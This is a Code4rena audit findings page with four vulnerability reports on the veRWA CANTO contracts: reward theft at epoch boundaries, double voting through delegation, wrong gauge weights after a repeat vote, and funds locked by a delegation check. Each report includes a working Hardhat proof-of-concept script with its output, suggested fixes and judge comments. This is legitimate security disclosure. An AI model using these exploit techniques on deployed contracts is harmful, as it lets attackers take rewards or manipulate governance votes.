Platform: Code4rena
Start Date: 07/08/2023
Pot Size: $36,500 USDC
Total HM: 11
Participants: 125
Period: 3 days
Judge: alcueca
Total Solo HM: 4
Id: 274
League: ETH
Rank: 7/125
Findings: 4
Award: $423.56
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: SpicyMeatball
Also found by: 0xComfyCat, GREY-HAWK-REACH, Yanchuan, cducrest, immeas, kaden, mert_eren, nonseodion, pep7siup, popular00, ppetrov
143.0396 USDC - $143.04
https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L70-L73 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L91-L94 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L133-L142
The duration of liquidity provisioning is very important, and should be taken into account when distributing rewards. Otherwise, rewards can be susceptible to theft by malicious individuals.
LendingLedger only records total balance of each market, and balances of each user in this market. Those values are updated on every deposit / withdrawal by a user. An individual's earnings depend on the proportion of liquidity tokens they provide compared to the total market liquidity tokens.
_checkpoint_lender(lendingMarket, _lender, type(uint256).max); uint256 currEpoch = (block.timestamp / WEEK) * WEEK; int256 updatedLenderBalance = int256(lendingMarketBalances[lendingMarket][_lender][currEpoch]) + _delta; require(updatedLenderBalance >= 0, "Lender balance underflow"); // Sanity check performed here, but the market should ensure that this never happens lendingMarketBalances[lendingMarket][_lender][currEpoch] = uint256(updatedLenderBalance); _checkpoint_market(lendingMarket, type(uint256).max); int256 updatedMarketBalance = int256(lendingMarketTotalBalance[lendingMarket][currEpoch]) + _delta; require(updatedMarketBalance >= 0, "Market balance underflow"); // Sanity check performed here, but the market should ensure that this never happens lendingMarketTotalBalance[lendingMarket][currEpoch] = uint256(updatedMarketBalance);
If an individual provides liquidity at the beginning of an epoch but later withdraws it, their eventual provided liquidity becomes 0, resulting in no earnings. Conversely, if someone offers liquidity shortly before the end of an epoch and promptly withdraws it at the start of the next epoch, they will receive earnings.
Therefore, the measurement for calculating the eventual earnings should be based on the amount of tokens deposited by an individual multiplied by the duration of their deposit.
In the following example, let's assume that user1 deposited 100 tokens at the beginning of an epoch and withdrew all 100 tokens before the epoch ended. User2 deposited 100 tokens before the epoch ended and immediately withdrew 100 tokens at the start of the next epoch. The governance protocol distributed 100 CANTO tokens as staking rewards.
import { ethers } from "hardhat"; import { mine } from "@nomicfoundation/hardhat-network-helpers"; async function main() { const now = Math.floor(Date.now()/1000); const epoch1 = Math.floor(now/(7*24*3600))*(7*24*3600) const epoch2 = epoch1 + (7*24*3600) const epoch3 = epoch2 + (7*24*3600) const goto_epoch2_begin = epoch2 - now; // depoly contracts const [owner, governance, user1, user2, market] = await ethers.getSigners() const votingEscrow = await ethers.deployContract("VotingEscrow", ["Vote-escrowed CANTO", "veCANTO"]) await votingEscrow.waitForDeployment() const gaugeController = await ethers.deployContract("GaugeController", [votingEscrow.target, governance.address]) await gaugeController.waitForDeployment() const lendingLedger = await ethers.deployContract("LendingLedger", [gaugeController.target, governance.address]) await lendingLedger.waitForDeployment() console.log(`VotingEscrow address: ${votingEscrow.target}`) console.log(`GaugeController address: ${gaugeController.target}`); console.log(`LendingLedger address: ${lendingLedger.target}`) // initialization let tx = await votingEscrow.createLock(1000000000, {value: 1000000000}) await tx.wait() tx = await gaugeController.connect(governance).add_gauge(market.address) await tx.wait() tx = await lendingLedger.connect(governance).whiteListLendingMarket(market.address, true) await tx.wait() tx = await gaugeController.vote_for_gauge_weights(market.address, 10000) await tx.wait() // go to the beginning of epoch2 mine(goto_epoch2_begin); // user1 adds liquidity tx = await lendingLedger.connect(market).sync_ledger(user1.address, 100) await tx.wait() // go to the end of epoch2 (100 seconds left) mine(7*24*3600 - 100); // user1 withdraws liquidity tx = await lendingLedger.connect(market).sync_ledger(user1.address, -100) await tx.wait() // user2 adds liquidity tx = await lendingLedger.connect(market).sync_ledger(user2.address, 100) await tx.wait() // goto to the beginning of epoch3 mine(100) // user2 withdraws liquidity tx = await lendingLedger.connect(market).sync_ledger(user2.address, -100) await tx.wait() // governance adds rewards (100 CANTO) await governance.sendTransaction({to: lendingLedger.target, value: ethers.parseEther("100")}); tx = await lendingLedger.connect(governance).setRewards(epoch2, epoch2, ethers.parseEther("100")) await tx.wait() let bal_user1 = await ethers.provider.getBalance(user1.address) let bal_user2 = await ethers.provider.getBalance(user2.address) console.log(`\nBefore claim, balance of user1 is ${ethers.formatEther(bal_user1)}, balance of user2 is: ${ethers.formatEther(bal_user2)}`) // claim rewards tx = await lendingLedger.connect(user1).claim(market.address, epoch2, epoch2) await tx.wait() tx = await lendingLedger.connect(user2).claim(market.address, epoch2, epoch2) await tx.wait() bal_user1 = await ethers.provider.getBalance(user1.address) bal_user2 = await ethers.provider.getBalance(user2.address) console.log(`After claim, balance of user1 is ${ethers.formatEther(bal_user1)}, balance of user2 is: ${ethers.formatEther(bal_user2)}\n`) } main().catch((error) => { console.error(error); process.exitCode = 1; });
The code execution result shows that user2 received the full 100 CANTO reward tokens, while user1 did not receive any rewards. This outcome aligns with the explanation provided earlier. User2 received rewards because they maintained their liquidity provision until the epoch ended, even though they withdrew their tokens at the beginning of the next epoch. User1, on the other hand, withdrew their tokens before the epoch ended, resulting in a provided liquidity of 0 and no rewards being earned. This illustrates the significance of the liquidity provision duration in determining the distribution of rewards.
[nian@localhost hardhat]$ npx hardhat --network local run scripts/test.ts VotingEscrow address: 0x5FbDB2315678afecb367f032d93F642f64180aa3 GaugeController address: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 LendingLedger address: 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0 Before claim, balance of user1 is 10000.0, balance of user2 is: 10000.0 After claim, balance of user1 is 9999.999957343036960448, balance of user2 is: 10099.999951192353486904
Hardhat
LendingLedger needs to calculate users' balances and the total balance in the market based on the tokens deposited and withdrawn by users, along with the corresponding time. The formulas for calculating user balance and total balance are as follows:
user_balance += _delta * (currEpoch + WEEK - block.timestamp) total_balance += _delta * (currEpoch + WEEK - block.timestamp)
After calculating user balances and total balances, the tokens are distributed as rewards based on the proportion of each user's balance to the total balance. This allocation ensures that users are rewarded according to their contribution to the overall liquidity.
The complete patch is as follows (due to time constraints, this patch might not be perfect).
diff --git a/LendingLedger.sol.orig b/LendingLedger.sol index 145a5b8..d702da9 100644 --- a/LendingLedger.sol.orig +++ b/LendingLedger.sol @@ -15,10 +15,14 @@ contract LendingLedger { mapping(address => bool) public lendingMarketWhitelist; /// @dev Lending Market => Lender => Epoch => Balance mapping(address => mapping(address => mapping(uint256 => uint256))) public lendingMarketBalances; // cNote balances of users within the lending markets, indexed by epoch + /// @dev Lending Market => Lender => Epoch => Token + mapping(address => mapping(address => mapping(uint256 => uint256))) public lendingMarketTokens; /// @dev Lending Market => Lender => Epoch mapping(address => mapping(address => uint256)) public lendingMarketBalancesEpoch; // Epoch when the last update happened /// @dev Lending Market => Epoch => Balance mapping(address => mapping(uint256 => uint256)) public lendingMarketTotalBalance; // Total balance locked within the market, i.e. sum of lendingMarketBalances for all + /// @dev Lending Market => Epoch => Token + mapping(address => mapping(uint256 => uint256)) public lendingMarketTotalToken; /// @dev Lending Market => Epoch mapping(address => uint256) public lendingMarketTotalBalanceEpoch; // Epoch when the last update happened @@ -67,9 +71,10 @@ contract LendingLedger { lendingMarketBalancesEpoch[_market][_lender] = currEpoch; } else if (lastUserUpdateEpoch < currEpoch) { // Fill in potential gaps in the user balances history - uint256 lastUserBalance = lendingMarketBalances[_market][_lender][lastUserUpdateEpoch]; - for (uint256 i = lastUserUpdateEpoch; i <= updateUntilEpoch; i += WEEK) { - lendingMarketBalances[_market][_lender][i] = lastUserBalance; + uint256 lastUserToken = lendingMarketTokens[_market][_lender][lastUserUpdateEpoch]; + for (uint256 i = lastUserUpdateEpoch + WEEK; i <= updateUntilEpoch; i += WEEK) { + lendingMarketTokens[_market][_lender][i] = lastUserToken; + lendingMarketBalances[_market][_lender][i] = lastUserToken * WEEK; } if (updateUntilEpoch > lastUserUpdateEpoch) { lendingMarketBalancesEpoch[_market][_lender] = updateUntilEpoch; @@ -88,9 +93,10 @@ contract LendingLedger { lendingMarketTotalBalanceEpoch[_market] = currEpoch; } else if (lastMarketUpdateEpoch < currEpoch) { // Fill in potential gaps in the market total balances history - uint256 lastMarketBalance = lendingMarketTotalBalance[_market][lastMarketUpdateEpoch]; - for (uint256 i = lastMarketUpdateEpoch; i <= updateUntilEpoch; i += WEEK) { - lendingMarketTotalBalance[_market][i] = lastMarketBalance; + uint256 lastMarketToken = lendingMarketTotalToken[_market][lastMarketUpdateEpoch]; + for (uint256 i = lastMarketUpdateEpoch + WEEK; i <= updateUntilEpoch; i += WEEK) { + lendingMarketTotalToken[_market][i] = lastMarketToken; + lendingMarketTotalBalance[_market][i] = lastMarketToken * WEEK; } if (updateUntilEpoch > lastMarketUpdateEpoch) { // Only update epoch when we actually checkpointed to avoid decreases @@ -132,13 +138,17 @@ contract LendingLedger { _checkpoint_lender(lendingMarket, _lender, type(uint256).max); uint256 currEpoch = (block.timestamp / WEEK) * WEEK; - int256 updatedLenderBalance = int256(lendingMarketBalances[lendingMarket][_lender][currEpoch]) + _delta; - require(updatedLenderBalance >= 0, "Lender balance underflow"); // Sanity check performed here, but the market should ensure that this never happens + int256 updatedLenderToken = int256(lendingMarketTokens[lendingMarket][_lender][currEpoch]) + _delta; + require(updatedLenderToken >= 0, "Lender balance underflow"); // Sanity check performed here, but the market should ensure that this never happens + int256 updatedLenderBalance = int256(lendingMarketBalances[lendingMarket][_lender][currEpoch]) + _delta * int256(currEpoch + WEEK - block.timestamp); + lendingMarketTokens[lendingMarket][_lender][currEpoch] = uint256(updatedLenderToken); lendingMarketBalances[lendingMarket][_lender][currEpoch] = uint256(updatedLenderBalance); _checkpoint_market(lendingMarket, type(uint256).max); - int256 updatedMarketBalance = int256(lendingMarketTotalBalance[lendingMarket][currEpoch]) + _delta; - require(updatedMarketBalance >= 0, "Market balance underflow"); // Sanity check performed here, but the market should ensure that this never happens + int256 updatedMarketToken = int256(lendingMarketTotalToken[lendingMarket][currEpoch]) + _delta; + require(updatedMarketToken >= 0, "Market balance underflow"); // Sanity check performed here, but the market should ensure that this never happens + int256 updatedMarketBalance = int256(lendingMarketTotalBalance[lendingMarket][currEpoch]) + _delta *int256(currEpoch + WEEK - block.timestamp); + lendingMarketTotalToken[lendingMarket][currEpoch] = uint256(updatedMarketToken); lendingMarketTotalBalance[lendingMarket][currEpoch] = uint256(updatedMarketBalance); }
Running the PoC program again, the result is as follows.
[nian@localhost hardhat]$ npx hardhat --network run scripts/test.ts VotingEscrow address: 0x5FbDB2315678afecb367f032d93F642f64180aa3 GaugeController address: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 LendingLedger address: 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0 Before claim, balance of user1 is 10000.0, balance of user2 is: 10000.0 After claim, balance of user1 is 10099.985067158588035002, balance of user2 is: 10000.014832362580534349
Context
#0 - c4-pre-sort
2023-08-12T02:09:34Z
141345 marked the issue as primary issue
#1 - OpenCoreCH
2023-08-16T12:42:48Z
Valid finding, not sure if this will be a problem in practice as the lending markets will enforce / incentivize long lending periods (with various mechanisms that is up to them, e.g. dynamic interest rates, fees, bonuses, etc...) because these will be lending markets for real world assets (mortgages, bonds, etc...) which usually have a fixed duration and where people cannot just withdraw arbitrarily.
#2 - c4-sponsor
2023-08-16T12:42:57Z
OpenCoreCH marked the issue as sponsor confirmed
#3 - c4-judge
2023-08-25T11:00:09Z
alcueca changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-08-25T11:00:24Z
alcueca changed the severity to 3 (High Risk)
#5 - c4-judge
2023-08-25T11:01:14Z
alcueca changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-08-25T11:01:32Z
alcueca changed the severity to 3 (High Risk)
#7 - c4-judge
2023-08-25T11:02:28Z
alcueca marked the issue as selected for report
#8 - c4-judge
2023-08-25T11:07:10Z
alcueca marked issue #416 as primary and marked this issue as a duplicate of 416
#9 - c4-judge
2023-08-25T21:59:27Z
alcueca marked the issue as satisfactory
🌟 Selected for report: 0x73696d616f
Also found by: 0xCiphky, 0xComfyCat, 0xDetermination, GREY-HAWK-REACH, QiuhaoLi, SpicyMeatball, Team_Rocket, Tricko, Yanchuan, deadrxsezzz, immeas, kaden, lanrebayode77, ltyu, mert_eren, nonseodion, oakcobalt, popular00, th13vn
36.9443 USDC - $36.94
veRWA supports delegation, allowing users to delegate their voting power to others. However, the delegate functionality in veRWA has a flaw: users can vote first and then delegate their voting power to someone else. The delegatee can continue to vote, effectively allowing users to double their voting power.
In the following PoC example, two users, user1 and user2, are created. Both users deposit 100 CANTO tokens. Two gauges, market1 and market2, are also created. user1 votes for market1 and then delegates its voting power to user2. user2 then votes for market2.
import { ethers } from "hardhat"; import { mine } from "@nomicfoundation/hardhat-network-helpers"; async function main() { const now = Math.floor(Date.now()/1000); const epoch1 = Math.floor(now/(7*24*3600))*(7*24*3600) const epoch2 = epoch1 + (7*24*3600) const epoch3 = epoch2 + (7*24*3600) const epoch4 = epoch3 + (7*24*3600) const goto_epoch2_begin = epoch2 - now; // depoly contracts const [owner, governance, user1, user2, user3, market1, market2] = await ethers.getSigners() const votingEscrow = await ethers.deployContract("VotingEscrow", ["Vote-escrowed CANTO", "veCANTO"]) await votingEscrow.waitForDeployment() const gaugeController = await ethers.deployContract("GaugeController", [votingEscrow.target, governance.address]) await gaugeController.waitForDeployment() const lendingLedger = await ethers.deployContract("LendingLedger", [gaugeController.target, governance.address]) await lendingLedger.waitForDeployment() console.log(`VotingEscrow address: ${votingEscrow.target}`) console.log(`GaugeController address: ${gaugeController.target}`); console.log(`LendingLedger address: ${lendingLedger.target}\n`) // initialization let tx = await votingEscrow.connect(user1).createLock(ethers.parseEther("100"), {value: ethers.parseEther("100")}) await tx.wait() tx = await votingEscrow.connect(user2).createLock(ethers.parseEther("100"), {value: ethers.parseEther("100")}) await tx.wait() tx = await gaugeController.connect(governance).add_gauge(market1.address) await tx.wait() tx = await lendingLedger.connect(governance).whiteListLendingMarket(market1.address, true) await tx.wait() tx = await gaugeController.connect(governance).add_gauge(market2.address) await tx.wait() tx = await lendingLedger.connect(governance).whiteListLendingMarket(market2.address, true) await tx.wait() // user1 votes tx = await gaugeController.connect(user1).vote_for_gauge_weights(market1.address, 10000) await tx.wait() // user1 delegates his voting to user2. tx = await votingEscrow.connect(user1).delegate(user2.address); await tx.wait() // user2 votes tx = await gaugeController.connect(user2).vote_for_gauge_weights(market2.address, 10000) await tx.wait() // go to the beginning of epoch2 mine(goto_epoch2_begin); // get relative weight of market1 and market2 const market1_weight = await gaugeController.gauge_relative_weight(market1.address, epoch2) console.log(`market1 weight: ${market1_weight}`) const market2_weight = await gaugeController.gauge_relative_weight(market2.address, epoch2) console.log(`market1 weight: ${market2_weight}`) } main().catch((error) => { console.error(error); process.exitCode = 1; });
The PoC script prints out the relative weights of market1 and market2. It's evident that the relative weight of market2 is twice that of market1, indicating that user2 used the voting power of user1 while voting.
[nian@localhost hardhat]$ npx hardhat run scripts/test3.ts VotingEscrow address: 0x5FbDB2315678afecb367f032d93F642f64180aa3 GaugeController address: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 LendingLedger address: 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0 market1 weight: 333333333333333333 market1 weight: 666666666666666666
Hardhat
Modify the delegation voting mechanism so that if a user has already voted, they cannot delegate their voting power to someone else.
Context
#0 - c4-pre-sort
2023-08-12T02:02:39Z
141345 marked the issue as duplicate of #45
#1 - c4-pre-sort
2023-08-13T13:16:56Z
141345 marked the issue as duplicate of #99
#2 - c4-pre-sort
2023-08-13T17:09:16Z
141345 marked the issue as duplicate of #178
#3 - c4-pre-sort
2023-08-13T17:36:43Z
141345 marked the issue as not a duplicate
#4 - c4-pre-sort
2023-08-13T17:37:05Z
141345 marked the issue as duplicate of #86
#5 - c4-judge
2023-08-25T10:51:22Z
alcueca changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-08-25T10:51:34Z
alcueca changed the severity to 3 (High Risk)
#7 - c4-judge
2023-08-25T10:54:53Z
alcueca marked the issue as satisfactory
🌟 Selected for report: deadrxsezzz
Also found by: 0xComfyCat, Brenzee, Team_Rocket, Yanchuan, auditsea, bin2chen, cducrest, markus_ether, oakcobalt
211.9105 USDC - $211.91
The voting logic in the GaugeController contains an error. If a user casts two consecutive votes for the same gauge, the result after the second vote is incorrect.
In this example, user1 has cast two votes for market1. The first vote was 100%, and the second vote was 10%. Due to the presence of only one user (user1) and one gauge (market1) in this example, after the second vote, the relative weight of market1 should be 100%. However, the actual result is showing 0% instead.
import { ethers } from "hardhat"; import { mine } from "@nomicfoundation/hardhat-network-helpers"; async function main() { const now = Math.floor(Date.now()/1000); const epoch1 = Math.floor(now/(7*24*3600))*(7*24*3600) const epoch2 = epoch1 + (7*24*3600) const epoch3 = epoch2 + (7*24*3600) // depoly contracts const [owner, governance, user1, user2, user3, market1, market2] = await ethers.getSigners() const votingEscrow = await ethers.deployContract("VotingEscrow", ["Vote-escrowed CANTO", "veCANTO"]) await votingEscrow.waitForDeployment() const gaugeController = await ethers.deployContract("GaugeController", [votingEscrow.target, governance.address]) await gaugeController.waitForDeployment() const lendingLedger = await ethers.deployContract("LendingLedger", [gaugeController.target, governance.address]) await lendingLedger.waitForDeployment() console.log(`VotingEscrow address: ${votingEscrow.target}`) console.log(`GaugeController address: ${gaugeController.target}`); console.log(`LendingLedger address: ${lendingLedger.target}\n`) // initialization let tx = await votingEscrow.connect(user1).createLock(ethers.parseEther("100"), {value: ethers.parseEther("100")}) await tx.wait() tx = await gaugeController.connect(governance).add_gauge(market1.address) await tx.wait() tx = await lendingLedger.connect(governance).whiteListLendingMarket(market1.address, true) await tx.wait() // user1 votes tx = await gaugeController.connect(user1).vote_for_gauge_weights(market1.address, 10000) await tx.wait() tx = await gaugeController.checkpoint_gauge(market1.address) await tx.wait() tx = await gaugeController.connect(user1).vote_for_gauge_weights(market1.address, 1000) await tx.wait() // go to epoch2 mine(7*24*3600); tx = await gaugeController.checkpoint_gauge(market1.address) await tx.wait() // get relative weight of market1 let market1_weight = await gaugeController.gauge_relative_weight(market1.address, epoch2) console.log(`relativeweight of market1 is ${market1_weight}`) } main().catch((error) => { console.error(error); process.exitCode = 1; });
The running results of the testing script are as follows:
[nian@localhost hardhat]$ npx hardhat run scripts/test4.ts VotingEscrow address: 0x5FbDB2315678afecb367f032d93F642f64180aa3 GaugeController address: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 LendingLedger address: 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0 relativeweight of market1 is 0
Hardhat
Correct the user voting logic to ensure that the results after each vote are accurate.
Context
#0 - c4-pre-sort
2023-08-12T16:44:25Z
141345 marked the issue as primary issue
#1 - 141345
2023-08-15T02:41:37Z
inconsistancy when voting for the same gauge for multiple times
#2 - OpenCoreCH
2023-08-17T10:10:28Z
The warden did not point out the problem here, but it is another duplicate of the time_weight
initialization problem (https://github.com/code-423n4/2023-08-verwa-findings/issues/288). Adding this line after the add_gauge
call fixes the PoC:
tx = await gaugeController.connect(governance).change_gauge_weight(market1.address, 0) await tx.wait()
#3 - c4-sponsor
2023-08-17T10:10:45Z
OpenCoreCH marked the issue as sponsor confirmed
#4 - c4-judge
2023-08-25T10:49:27Z
alcueca marked the issue as duplicate of #288
#5 - c4-judge
2023-08-25T10:49:34Z
alcueca marked the issue as satisfactory
#6 - c4-judge
2023-08-25T22:44:45Z
alcueca changed the severity to 2 (Med Risk)
#7 - c4-judge
2023-08-25T22:45:02Z
alcueca changed the severity to 3 (High Risk)
🌟 Selected for report: ADM
Also found by: 0xDING99YA, 3docSec, BenRai, Jorgect, Kow, MrPotatoMagic, QiuhaoLi, RandomUser, SpicyMeatball, Tendency, Topmark, Watermelon, Yanchuan, Yuki, bart1e, cducrest, kaden, lsaudit, nemveer, nonseodion
31.6666 USDC - $31.67
https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L331 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L383-L384
Users can delegate their voting rights to others, but this could potentially result in their funds being permanently frozen. According to the withdraw() function, users need to ensure that they have not delegated their voting rights before making a withdrawal.
According to the delegate() function, delegated voting must satisfy the following conditions:
require(toLocked.end > block.timestamp, "Delegatee lock expired"); require(toLocked.end >= fromLocked.end, "Only delegate to longer lock");
In the example below, Alice deposits 100 tokens at epoch 1, Bob deposits 100 tokens at epoch 2, and Alice delegates her voting rights to Bob at epoch 3. After 5 years, Alice becomes eligible to make a withdrawal. She needs to first call delegate() to revoke the delegation. However, none of those conditions can be satisfied, resulting in Alice being unable to withdraw her funds.
In order for Alice to make a withdrawal, she must always remember that she delegated her voting rights to Bob and, before the unlocking time arrives, she needs to call delegate() to revoke the delegation. However, even with this approach, revoking the delegation is not possible due to Alice's unlocking time being earlier than Bob's. To be able to revoke the delegation, Alice must first call increaseAmount() to deposit an additional sum of funds, which will update her unlock time. However, since Alice's unlock time has been updated, she must wait another 5 years before being able to make a withdrawal.
The content of the PoC testing script is as follows:
import { ethers } from "hardhat"; import { mine } from "@nomicfoundation/hardhat-network-helpers"; async function main() { // depoly contract const [owner, alice, bob] = await ethers.getSigners() const votingEscrow = await ethers.deployContract("VotingEscrow", ["Vote-escrowed CANTO", "veCANTO"]) await votingEscrow.waitForDeployment() console.log(`VotingEscrow address: ${votingEscrow.target}`) // Alice deposits 100 CANTO let tx = await votingEscrow.connect(alice).createLock(ethers.parseEther("100"), {value: ethers.parseEther("100")}) await tx.wait() let unlock_time = (await votingEscrow.locked(alice.address)).end console.log(unlock_time) // Bob deposits 100 CANTO mine(7*24*3600) tx = await votingEscrow.connect(bob).createLock(ethers.parseEther("100"), {value: ethers.parseEther("100")}) await tx.wait() // Alice delegates to Bob mine(7*24*3600) tx = await votingEscrow.connect(alice).delegate(bob.address) await tx.wait() // Alice tries to revoke delegation 5 years later mine(24*3600*364*5) tx = await votingEscrow.connect(alice).delegate(alice.address) await tx.wait() } // We recommend this pattern to be able to use async/await everywhere // and properly handle errors. main().catch((error) => { console.error(error); process.exitCode = 1; });
The execution result of the PoC script shows the message 'Delegatee lock expired' indicating that Alice is unable to revoke the delegation.
[nian@localhost hardhat]$ npx hardhat run scripts/test2.ts VotingEscrow address: 0x5FbDB2315678afecb367f032d93F642f64180aa3 1848873600n Error: VM Exception while processing transaction: reverted with reason string 'Delegatee lock expired' at VotingEscrow.delegate (contracts/VotingEscrow.sol:673) at VotingEscrow.delegate (contracts/VotingEscrow.sol:725) at processTicksAndRejections (node:internal/process/task_queues:96:5) at async HardhatNode._mineBlockWithPendingTxs (/home/nian/life/blockchain/2023/projects/code4rena/vewra/hardhat/node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:1840:23) at async HardhatNode.mineBlock (/home/nian/life/blockchain/2023/projects/code4rena/vewra/hardhat/node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:517:16) at async EthModule._sendTransactionAndReturnHash (/home/nian/life/blockchain/2023/projects/code4rena/vewra/hardhat/node_modules/hardhat/src/internal/hardhat-network/provider/modules/eth.ts:1532:18) at async HardhatNetworkProvider.request (/home/nian/life/blockchain/2023/projects/code4rena/vewra/hardhat/node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:123:18) at async HardhatEthersSigner.sendTransaction (/home/nian/life/blockchain/2023/projects/code4rena/vewra/hardhat/node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18) at async send (/home/nian/life/blockchain/2023/projects/code4rena/vewra/hardhat/node_modules/ethers/src.ts/contract/contract.ts:299:20)
Hardhat
I would recommend modifying the withdraw() function as follows: If a user has delegated their voting rights to someone else, allow them to revoke the delegation (without checking the unlock time) and then proceed with the withdrawal.
Context
#0 - c4-pre-sort
2023-08-11T11:54:23Z
141345 marked the issue as primary issue
#1 - c4-pre-sort
2023-08-13T12:00:48Z
141345 marked the issue as duplicate of #112
#2 - c4-pre-sort
2023-08-13T12:00:54Z
141345 marked the issue as not a duplicate
#3 - c4-pre-sort
2023-08-13T12:01:24Z
141345 marked the issue as duplicate of #178
#4 - c4-judge
2023-08-24T07:14:02Z
alcueca marked the issue as duplicate of #82
#5 - c4-judge
2023-08-24T07:20:39Z
alcueca changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-08-24T07:34:54Z
alcueca marked the issue as satisfactory
#7 - c4-judge
2023-08-29T06:37:36Z
alcueca changed the severity to 3 (High Risk)